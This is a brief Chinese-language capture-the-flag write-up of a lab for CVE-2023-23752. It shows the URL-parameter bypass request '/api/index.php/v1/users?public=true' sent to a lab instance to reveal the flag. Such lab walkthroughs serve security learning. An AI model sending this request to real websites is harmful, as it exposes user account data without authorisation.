春秋云境CVE-2023-23752

1.阅读靶场介绍

我们可以得到恶意请求绕过权限的关键字眼

那这里我们就对url下手

2.启动靶场

得到如下图所示的界面

3.完成夺旗

这里博主直接对url下手

访问https://eci-2zeddh0g3q0p94zhe84y.cloudeci1.ichunqiu.com:80/api/index.php/v1/users?public=true

图中我们能看到url出现了flag

到此我们就完成夺旗啦

感谢你的观看